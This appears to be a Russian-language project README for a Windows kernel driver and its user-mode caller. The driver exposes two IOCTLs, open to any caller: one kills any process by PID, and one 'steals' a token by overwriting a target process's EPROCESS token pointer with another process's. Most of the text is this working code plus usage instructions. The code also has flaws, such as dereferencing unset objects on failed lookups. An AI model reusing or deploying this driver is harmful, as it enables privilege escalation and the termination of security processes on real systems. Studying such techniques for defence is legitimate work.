Windows driver. Windows Driver Development
Задача - написать драйвер, завершающий процесс по его PID, забирающий токен процесса по PID
- Driver main
IRP_MJ_DEVICE_CONTROL
IOCTL handler
extern "C" NTSTATUS HandleCustomIOCTL(PDEVICE_OBJECT DeviceObject, PIRP Irp)
{
/*
* METHOD_BUFFERED
*
* Input Buffer = Irp->AssociatedIrp.SystemBuffer
* Ouput Buffer = Irp->AssociatedIrp.SystemBuffer
*
* Input Size = Parameters.DeviceIoControl.InputBufferLength
* Output Size = Parameters.DeviceIoControl.OutputBufferLength
*
* Since they both use the same location
* so the "buffer" allocated by the I/O
* manager is the size of the larger value (Output vs. Input)
*/
UNREFERENCED_PARAMETER(DeviceObject);
NTSTATUS NtStatus = STATUS_UNSUCCESSFUL;
PIO_STACK_LOCATION stackLocation = NULL;
CHAR msg[2048];
stackLocation = IoGetCurrentIrpStackLocation(Irp);
switch (stackLocation->Parameters.DeviceIoControl.IoControlCode)
{
case IOCTL_STOP_PROCESS:
{
DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, "IOCTL_STOP_PROCESS (0x%x) issued", stackLocation->Parameters.DeviceIoControl.IoControlCode);
// get process id
unsigned short pid = *(unsigned short*)Irp->AssociatedIrp.SystemBuffer;
DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, "Received PID from userland: %d", *(unsigned short*)Irp->AssociatedIrp.SystemBuffer);
// open process by process id
CLIENT_ID cid1 = { (HANDLE)pid, 0 };
OBJECT_ATTRIBUTES attr;
HANDLE hProcess = 0;
InitializeObjectAttributes(&attr, NULL, OBJ_KERNEL_HANDLE, NULL, NULL);
NtStatus = ZwOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &attr, &cid1);
if (NtStatus == STATUS_SUCCESS)
{
// terminate process
NtStatus = ZwTerminateProcess(hProcess, 0);
if (NtStatus == STATUS_SUCCESS)
{
ZwClose(hProcess);
sprintf(msg, "Process has been stoped! Status 0x%x", NtStatus);
}
else sprintf(msg, "Process hasn't been stoped! Status 0x%x", NtStatus);
}
else sprintf(msg, "Process hasn't been opened! Status 0x%x", NtStatus);
break;
}
case IOCTL_STEAL_TOKEN:
{
DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, "IOCTL_STEAL_TOKEN (0x%x) issued", stackLocation->Parameters.DeviceIoControl.IoControlCode);
// get target pid & source pid
union Data
{
unsigned short out[2];
unsigned int in;
};
Data input_data{ 0 };
input_data.in = *(unsigned int*)Irp->AssociatedIrp.SystemBuffer;
unsigned short TARGET_PID = input_data.out[0], SOURCE_PID = input_data.out[1];
DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, "Received PIDs from userland: Target %d Source %d", TARGET_PID, SOURCE_PID);
PEPROCESS sourceProcess, targetProcess;
//NTSTATUS NtStatus = STATUS_UNSUCCESSFUL;
ULONG tokenOffset = get_token_offset_eprocess();
// Lookup target process
NtStatus = PsLookupProcessByProcessId(ULongToHandle(TARGET_PID), &targetProcess);
if (NtStatus != STATUS_SUCCESS)
{
sprintf(msg, "Target process (PID %d) not found!", TARGET_PID);
ObDereferenceObject(targetProcess);
break;
}
// Lookup source process
NtStatus = PsLookupProcessByProcessId(ULongToHandle(SOURCE_PID), &sourceProcess);
if (NtStatus != STATUS_SUCCESS)
{
sprintf(msg, "Source process (PID %d) not found!", SOURCE_PID);
ObDereferenceObject(sourceProcess);
ObDereferenceObject(targetProcess);
return NtStatus;
}
// Replace target process token with source process token
*(ULONG64*)((ULONG64)targetProcess + tokenOffset) = *(ULONG64*)((ULONG64)sourceProcess + tokenOffset);
sprintf(msg, "Token has stolen from Source (PID %d) to Target (PID %d)!", SOURCE_PID, TARGET_PID);
ObDereferenceObject(sourceProcess);
ObDereferenceObject(targetProcess);
NtStatus = STATUS_SUCCESS;
break;
}
default: break;
}
// send out message
size_t dwDataSize = strlen(msg);
if (stackLocation->Parameters.DeviceIoControl.OutputBufferLength
>= dwDataSize)
{
/*
* We use "RtlCopyMemory" in the kernel instead of memcpy.
* RtlCopyMemory *IS* memcpy, however it's best to use the
* wrapper in case this changes in the future.
*/
DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, "Sending to userland: %s", msg);
RtlCopyMemory(Irp->AssociatedIrp.SystemBuffer, msg, dwDataSize);
Irp->IoStatus.Information = dwDataSize;
}
else
{
DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, "Buffer is too small, need: %d", dwDataSize);
Irp->IoStatus.Information = dwDataSize;
NtStatus = STATUS_BUFFER_TOO_SMALL;
}
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return NtStatus;
}
- user-mode space driver's caller
#include <iostream>
#include <Windows.h>
#include <string>
#define IOCTL_STOP_PROCESS CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_STEAL_TOKEN CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_BUFFERED, FILE_ANY_ACCESS)
void usage(char* arg0)
{
printf("Usage: \n\t%s [PID] - for stop process with PID\n\t%s [TARGET_PID] [SOURCE_PID] - for steal token from Source to Target\n", arg0, arg0);
}
int main(char argc, char** argv)
{
CHAR outBuffer[4096] = { 0 };
HANDLE device = INVALID_HANDLE_VALUE;
BOOL status = FALSE;
DWORD bytesReturned = 0;
device = CreateFileW(L"\\\\.\\WindowsDriverLink", GENERIC_WRITE | GENERIC_READ | GENERIC_EXECUTE, 0, 0, OPEN_EXISTING, FILE_ATTRIBUTE_SYSTEM, 0);
if (device == INVALID_HANDLE_VALUE)
{
printf_s("> Could not open device: 0x%x\n", GetLastError());
return -1;
}
else if (argc == 2)
{
unsigned short inBuffer = std::stoi(argv[1]);
printf_s("> Issuing IOCTL_STOP_PROCESS 0x%x\n", IOCTL_STOP_PROCESS);
status = DeviceIoControl(device, IOCTL_STOP_PROCESS, &inBuffer, sizeof(inBuffer), outBuffer, sizeof(outBuffer), &bytesReturned, (LPOVERLAPPED)NULL);
printf_s("> IOCTL_STOP_PROCESS 0x%x issued\n", IOCTL_STOP_PROCESS);
printf_s("> Received from the kernel land: %s. Received buffer size: %d\n", outBuffer, bytesReturned);
}
else if (argc == 3)
{
union Data
{
unsigned short out[2];
unsigned int in;
};
Data input_data{ 0 };
input_data.out[0] = std::stoi(argv[1]);
input_data.out[1] = std::stoi(argv[2]);
unsigned int inBuffer = input_data.in;
printf_s("> Issuing IOCTL_STEAL_TOKEN 0x%x\n", IOCTL_STEAL_TOKEN);
status = DeviceIoControl(device, IOCTL_STEAL_TOKEN, &inBuffer, sizeof(inBuffer), outBuffer, sizeof(outBuffer), &bytesReturned, (LPOVERLAPPED)NULL);
printf_s("> IOCTL_STEAL_TOKEN 0x%x issued\n", IOCTL_STEAL_TOKEN);
printf_s("> Received from the kernel land: %s. Received buffer size: %d\n", outBuffer, bytesReturned);
}
else
{
usage(argv[0]);
return -1;
}
CloseHandle(device);
return 0;
}
- содержит код программы вызова windows_driver'а из ring-3 (user-mode)
Usage:
userland.exe [PID] - for stop process with PID
userland.exe [TARGET_PID] [SOURCE_PID] - for steal token from Source to Target
- содержит код KMDF драйвера для работы в ring-0 (kernel-mode)
- userland.exe - compiled userland
- windows_driver.sys - compiled windows_driver
- windows_driver.cer - test driver's sing public key
Для проверки корректной работы использовались
Windows 11 версии 10.0.22621.3155
Dbgview
procexp
OSR driver loader
![alt text](/img/windows_driver.gif)